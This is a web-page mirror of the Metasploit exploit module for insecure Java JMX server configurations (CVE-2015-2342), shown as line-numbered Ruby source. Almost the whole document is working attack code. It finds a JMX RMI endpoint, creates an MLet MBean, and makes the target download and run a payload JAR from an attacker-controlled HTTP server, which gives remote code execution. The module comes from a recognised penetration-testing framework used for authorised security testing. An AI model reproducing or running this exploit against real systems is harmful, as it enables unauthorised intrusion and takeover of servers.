CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/misc/java_jmx_server.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpServer
10
include Msf::Exploit::Remote::Java::Rmi::Client
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
15
'Description' => %q{
16
This module takes advantage a Java JMX interface insecure configuration, which would
17
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
18
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
19
interfaces with authentication enabled will be vulnerable only if a weak configuration
20
is deployed (allowing to use javax.management.loading.MLet, having a security manager
21
allowing to load a ClassLoader MBean, etc.).
22
},
23
'Author' =>
24
[
25
'Braden Thomas', # Attack vector discovery
26
'juan vazquez' # Metasploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' =>
30
[
31
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
32
['URL', 'https://www.optiv.com/blog/exploiting-jmx-rmi'],
33
['CVE', '2015-2342']
34
],
35
'Platform' => 'java',
36
'Arch' => ARCH_JAVA,
37
'Privileged' => false,
38
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
39
'Stance' => Msf::Exploit::Stance::Aggressive,
40
'DefaultOptions' =>
41
{
42
'WfsDelay' => 10
43
},
44
'Targets' =>
45
[
46
[ 'Generic (Java Payload)', {} ]
47
],
48
'DefaultTarget' => 0,
49
'DisclosureDate' => '2013-05-22'
50
))
51
52
register_options([
53
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
54
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
55
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
56
])
57
register_common_rmi_ports_and_services
58
end
59
60
def post_auth?
61
true
62
end
63
64
def on_request_uri(cli, request)
65
if @jar.nil?
66
p = regenerate_payload(cli)
67
@jar = p.encoded_jar({random:true})
68
paths = [
69
["metasploit", "JMXPayloadMBean.class"],
70
["metasploit", "JMXPayload.class"],
71
]
72
73
@jar.add_file('metasploit/', '')
74
paths.each do |path_parts|
75
path = ['java', path_parts].flatten.join('/')
76
contents = ::MetasploitPayloads.read(path)
77
@jar.add_file(path_parts.join('/'), contents)
78
end
79
end
80
81
if request.uri =~ /mlet$/
82
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
83
84
mlet = "<HTML><mlet code=\"#{@jar.substitutions["metasploit"]}.JMXPayload\" "
85
mlet << "archive=\"#{jar}\" "
86
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
87
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
88
send_response(cli, mlet,
89
{
90
'Content-Type' => 'application/octet-stream',
91
'Pragma' => 'no-cache'
92
})
93
94
print_status("Replied to request for mlet")
95
elsif request.uri =~ /\.jar$/i
96
send_response(cli, @jar.pack,
97
{
98
'Content-Type' => 'application/java-archive',
99
'Pragma' => 'no-cache'
100
})
101
print_status("Replied to request for payload JAR")
102
end
103
end
104
105
def autofilter
106
return true
107
end
108
109
def check
110
connect
111
112
unless is_rmi?
113
return Exploit::CheckCode::Safe
114
end
115
116
mbean_server = discover_endpoint
117
disconnect
118
if mbean_server.nil?
119
return Exploit::CheckCode::Safe
120
end
121
122
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
123
unless is_rmi?
124
return Exploit::CheckCode::Unknown
125
end
126
127
jmx_endpoint = handshake(mbean_server)
128
disconnect
129
if jmx_endpoint.nil?
130
return Exploit::CheckCode::Detected
131
end
132
133
Exploit::CheckCode::Appears
134
end
135
136
def exploit
137
vprint_status("Starting service...")
138
start_service
139
140
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
141
connect
142
143
print_status("Sending RMI Header...")
144
unless is_rmi?
145
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
146
end
147
148
print_status("Discovering the JMXRMI endpoint...")
149
mbean_server = discover_endpoint
150
disconnect
151
if mbean_server.nil?
152
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
153
else
154
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
155
end
156
157
# First try to connect to the original RHOST, since the mbean address may be inaccessible
158
begin
159
connect(true, { 'RPORT' => mbean_server[:port] })
160
rescue Rex::ConnectionError
161
# If that fails, try connecting to the listed address instead
162
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
163
end
164
165
unless is_rmi?
166
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
167
end
168
169
print_status("Proceeding with handshake...")
170
jmx_endpoint = handshake(mbean_server)
171
if jmx_endpoint.nil?
172
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
173
else
174
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
175
end
176
177
print_status("Loading payload...")
178
unless load_payload(jmx_endpoint)
179
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
180
end
181
182
print_status("Executing payload...")
183
send_jmx_invoke(
184
object_number: jmx_endpoint[:object_number],
185
uid_number: jmx_endpoint[:uid].number,
186
uid_time: jmx_endpoint[:uid].time,
187
uid_count: jmx_endpoint[:uid].count,
188
object: "#{@mlet}:name=jmxpayload,id=1",
189
method: 'run'
190
)
191
disconnect
192
end
193
194
def is_rmi?
195
send_header
196
ack = recv_protocol_ack
197
if ack.nil?
198
return false
199
end
200
201
true
202
end
203
204
def discover_endpoint
205
rmi_classes_and_interfaces = [
206
'javax.management.remote.rmi.RMIConnectionImpl',
207
'javax.management.remote.rmi.RMIConnectionImpl_Stub',
208
'javax.management.remote.rmi.RMIConnector',
209
'javax.management.remote.rmi.RMIConnectorServer',
210
'javax.management.remote.rmi.RMIIIOPServerImpl',
211
'javax.management.remote.rmi.RMIJRMPServerImpl',
212
'javax.management.remote.rmi.RMIServerImpl',
213
'javax.management.remote.rmi.RMIServerImpl_Stub',
214
'javax.management.remote.rmi.RMIConnection',
215
'javax.management.remote.rmi.RMIServer'
216
]
217
ref = send_registry_lookup(name: datastore['JMXRMI'])
218
return nil if ref.nil?
219
220
unless rmi_classes_and_interfaces.include? ref[:object]
221
vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
222
return nil
223
end
224
225
ref
226
end
227
228
def handshake(mbean)
229
begin
230
opts = {
231
object_number: mbean[:object_number],
232
uid_number: mbean[:uid].number,
233
uid_time: mbean[:uid].time,
234
uid_count: mbean[:uid].count
235
}
236
237
if datastore['JMX_ROLE']
238
username = datastore['JMX_ROLE']
239
password = datastore['JMX_PASSWORD']
240
opts.merge!(username: username, password: password)
241
end
242
243
ref = send_new_client(opts)
244
rescue ::Rex::Proto::Rmi::Exception => e
245
vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
246
return nil
247
end
248
249
ref
250
end
251
252
def load_payload(conn_stub)
253
vprint_status("Getting JMXPayload instance...")
254
255
begin
256
res = send_jmx_get_object_instance(
257
object_number: conn_stub[:object_number],
258
uid_number: conn_stub[:uid].number,
259
uid_time: conn_stub[:uid].time,
260
uid_count: conn_stub[:uid].count,
261
name: "#{@mlet}:name=jmxpayload,id=1"
262
)
263
rescue ::Rex::Proto::Rmi::Exception => e
264
case e.message
265
when 'javax.management.InstanceNotFoundException'
266
vprint_warning("JMXPayload instance not found, trying to load")
267
return load_payload_from_url(conn_stub)
268
else
269
vprint_error("getObjectInstance returned unexpected exception #{e.message}")
270
return false
271
end
272
end
273
274
275
return false if res.nil?
276
277
true
278
end
279
280
def load_payload_from_url(conn_stub)
281
vprint_status("Creating javax.management.loading.MLet MBean...")
282
283
begin
284
res = send_jmx_create_mbean(
285
object_number: conn_stub[:object_number],
286
uid_number: conn_stub[:uid].number,
287
uid_time: conn_stub[:uid].time,
288
uid_count: conn_stub[:uid].count,
289
name: 'javax.management.loading.MLet'
290
)
291
rescue ::Rex::Proto::Rmi::Exception => e
292
case e.message
293
when 'javax.management.InstanceAlreadyExistsException'
294
vprint_good("javax.management.loading.MLet already exists")
295
res = true
296
when 'java.lang.SecurityException'
297
vprint_error(" The provided user hasn't enough privileges")
298
res = nil
299
else
300
vprint_error("createMBean raised unexpected exception #{e.message}")
301
res = nil
302
end
303
end
304
305
if res.nil?
306
vprint_error("The request to createMBean failed")
307
return false
308
end
309
310
vprint_status("Getting javax.management.loading.MLet instance...")
311
begin
312
res = send_jmx_get_object_instance(
313
object_number: conn_stub[:object_number],
314
uid_number: conn_stub[:uid].number,
315
uid_time: conn_stub[:uid].time,
316
uid_count: conn_stub[:uid].count,
317
name: 'DefaultDomain:type=MLet'
318
)
319
rescue ::Rex::Proto::Rmi::Exception => e
320
vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
321
return false
322
end
323
324
if res.nil?
325
vprint_error("The request to GetObjectInstance failed")
326
return false
327
end
328
329
vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
330
331
begin
332
res = send_jmx_invoke(
333
object_number: conn_stub[:object_number],
334
uid_number: conn_stub[:uid].number,
335
uid_time: conn_stub[:uid].time,
336
uid_count: conn_stub[:uid].count,
337
object: 'DefaultDomain:type=MLet',
338
method: 'getMBeansFromURL',
339
args: { 'java.lang.String' => "#{get_uri}/mlet" }
340
)
341
rescue ::Rex::Proto::Rmi::Exception => e
342
vprint_error("invoke() returned unexpected exception: #{e.message}")
343
return false
344
end
345
346
if res.nil?
347
vprint_error("The call to getMBeansFromURL failed")
348
return false
349
end
350
351
true
352
end
353
end
354
355